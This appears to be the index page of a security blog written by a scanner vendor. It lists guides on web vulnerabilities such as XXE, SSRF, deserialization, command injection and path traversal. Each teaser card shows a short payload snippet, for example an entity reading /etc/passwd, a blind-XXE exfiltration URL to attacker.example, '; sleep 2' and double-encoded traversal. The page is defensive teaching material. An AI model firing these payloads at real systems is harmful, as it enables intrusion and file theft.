Security field notes

Understand the bug. See the exploit. Ship the fix.

Practical guides to real-world web vulnerabilities, written by the team building the scanner that finds them.

Find a vulnerability guide

50 deep-dives · 16 topics

Follow via RSS

All posts

50 posts

All topics

Server-side requests & parsers X-Forwarded-Host: evil.attacker.com

Host Header Injection5 min read

Web Cache Poisoning via the Host Header

When a cache stores a response built from an unkeyed Host header, one attacker request can rewrite what every later visitor receives. Here is how unkeyed input becomes a stored attack and how to key, strip or stop reflecting it.

Server-side requests & parsersOverview <!ENTITY x SYSTEM "file:///etc/passwd">

XML External Entity3 min read

XML External Entity (XXE): How a Parser Reads /etc/passwd For You

An XML parser that resolves external entities will fetch any file or URL an attacker names. Here is how XXE turns a document upload into local file disclosure and SSRF, and the parser settings that stop it cold.

Server-side requests & parsers <svg><text>&xxe;</text></svg>

XML External Entity5 min read

XXE in File Uploads: SVG, DOCX and Other XML-Backed Formats

An image upload or document import does not look like an XML endpoint — but SVG, OOXML and SAML are XML under the hood, and they reach a parser all the same. Here is how XXE hides behind a feature that never mentions XML, and the parser settings that close it everywhere.

Files, objects & APIs {"$type":"ObjectDataProvider"}

Insecure Deserialization4 min read

.NET Deserialization: BinaryFormatter, Json.NET and TypeNameHandling

On .NET, the type information lives inside the payload. BinaryFormatter and a Json.NET $type directive will happily instantiate whatever class an attacker names — including gadgets that reach a process start. Here is how it leads to RCE, and the binder allowlist that stops it.

Injection --help

Command Injection5 min read

Argument Injection: Hijacking a Command Without a Shell

A value can be safely separated from the shell and still be interpreted as an option by the target program. Learn the parser boundary, a harmless proof, and when validation plus -- closes it.

Server-side requests & parsers http://a1b2c3.oob.attacker.example/

SSRF5 min read

Blind and Out-of-Band SSRF: Detecting the Request You Can't See

When an SSRF never reflects the fetched response, the usual proof — leaked file contents or a service banner — is gone. You confirm it instead with an out-of-band callback and map the internal network by timing and error differentials.

Injection ; sleep 2

Command Injection5 min read

Blind Command Injection: Proving Execution Through Time and DNS

When a shell runs injected input but discards output, timing and authorized callback evidence can still prove execution. Learn how to separate a real signal from noise and remove the shell boundary.

Server-side requests & parsers http://attacker.example/x?d=%file;

XML External Entity5 min read

Blind XXE: Exfiltrating Files With Out-of-Band Parameter Entities

When a vulnerable XML parser never reflects the parsed document back, XXE still leaks files. Here is how a hosted external DTD chains parameter entities to smuggle file contents out over the network, the error-based fallback when outbound traffic is blocked, and the parser settings that close it.

Files, objects & APIs %252e%252e%252fetc/passwd

Path Traversal5 min read

Bypassing Path-Traversal Filters: Encoding, Double-Encoding and Null Bytes

A filter that decodes input and then blocks ../ is defeated by the first encoding it didn't anticipate. Here is how percent-encoding, double-encoding, overlong UTF-8, backslashes, nested sequences and null bytes walk straight past a blocklist, and why canonicalize-then-verify is the only fix that holds.